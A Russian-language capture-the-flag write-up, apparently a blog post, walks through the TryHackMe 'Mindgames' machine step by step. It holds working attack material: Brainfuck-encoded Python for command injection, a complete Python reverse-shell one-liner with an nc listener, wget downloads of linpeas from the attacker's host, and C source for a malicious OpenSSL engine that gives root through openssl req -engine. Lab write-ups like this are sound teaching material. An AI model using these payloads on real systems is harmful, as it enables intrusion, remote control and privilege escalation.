Добавить в корзинуПозвонить
Найти в Дзене

Решение Mindgames на TryHackMe

1. Сканирование nmap показало открытые порты 22 и 80 2. Перехожу на 80 порт и смотрю что там 3. Вижу какой то шифр на страницу сайта, используя https://www.dcode.fr/en пытаюсь декодировать содержимое сайта 4. Декодер определил эту кодировку как Brainfuck и раскодировав содержимое на странице сайта я увидел, что это функции написанные на питоне и закодированные этим кодировщиком. Я решаю попробовать написать на питоне команду использования команды ls -la, для этого использую онлайн кодировщик https://copy.sh/brainfuck/text.html, а команда выглядит следующим образом import os os.system("ls -la") эту команду я кодирую в Brainfuck и ввожу в диалоговое окно на сайте 5. Команда отработала успешно и показала содержимое текущей директории. Далее пытаюсь прочитать сожержимое /etc/passwd, чтобы посмотреть какие есть пользователи в системе 6. Вижу пользователя mindgames, root и tryhackme, смотрю что есть у них в домашней директории, изменяя команду и кодируя ее 7. Читаю содержимое user

1. Сканирование nmap показало открытые порты 22 и 80

-2

2. Перехожу на 80 порт и смотрю что там

-3

3. Вижу какой то шифр на страницу сайта, используя https://www.dcode.fr/en пытаюсь декодировать содержимое сайта

-4

4. Декодер определил эту кодировку как Brainfuck и раскодировав содержимое на странице сайта я увидел, что это функции написанные на питоне и закодированные этим кодировщиком. Я решаю попробовать написать на питоне команду использования команды ls -la, для этого использую онлайн кодировщик https://copy.sh/brainfuck/text.html, а команда выглядит следующим образом

import os

os.system("ls -la")

эту команду я кодирую в Brainfuck и ввожу в диалоговое окно на сайте

-5
-6

5. Команда отработала успешно и показала содержимое текущей директории. Далее пытаюсь прочитать сожержимое /etc/passwd, чтобы посмотреть какие есть пользователи в системе

-7
-8

6. Вижу пользователя mindgames, root и tryhackme, смотрю что есть у них в домашней директории, изменяя команду и кодируя ее

-9
-10

7. Читаю содержимое user.txt

-11
-12

8. Ввел флаг user, попытался так же прочитать содержимое /root, но пишет недостаточно прав

9. Решаю получить реверс шелл, для этого использую следующую команду:

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("Ваш айпи",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")

10. Подымаю слушатель с помощью команды

nc -lvnp 1234

Получаю реверс шелл

-13

11. После этого я решил загрузить на систему linpeas, для этого поднял у себя python сервер, в папке где находится linpeas, с помощбю команды python3 -m http.server 80, а на атакуемой машине запустил скачивание файла с помощью команды wget IP_моей_машины/linpeas.sh

-14

12. С помощью команды chmod +x linpeas.sh даю права на исполнения этого файла и с помощью команды ./linpeas.sh запускаю файл

-15

13. Было найдено много CVE, но интереснее решить как задумывалось автором, поэтому посмотрев дальше увидел в разделе Capabilities, что openssl выданы права suid, и с помощью этого возможно повысить привилегии

-16

14. Для этого создаю файл nano openssl-exploit-engine.c, в него помещаю следующий код

#include <openssl/engine.h>

#include <unistd.h>

#include <stdlib.h>

static int bind(ENGINE *e, const char *id)

{
setuid(0); setgid(0);
system("/bin/bash");

}

IMPLEMENT_DYNAMIC_BIND_FN(bind)

IMPLEMENT_DYNAMIC_CHECK_FN()

далее с помощью двух команд компилирую его в исполняемый файл

gcc -fPIC -o openssl-exploit-engine.o -c openssl-exploit-engine.c

gcc -shared -o openssl-exploit-engine.so -lcrypto openssl-exploit-engine.o

15. В результате у меня должно получиться 3 файла, меня интересует файл .so именно его я буду добавлять на атакуемую машину

-17

16. По аналогии с загрузкой linpeas подымаю у себя сервер на питоне, и скачиваю на атакуемую машину файл openssl-exploit-engine.so

-18

17. Далее с помощью команды /usr/bin/openssl req -engine /tmp/openssl-exploit-engine.so (обращаю внимание должен быть указан полный путь к openssl и полный путь к исполняемому файлу, запускаю файл и получаю root

18. Читаю флаг root и машина решена

-19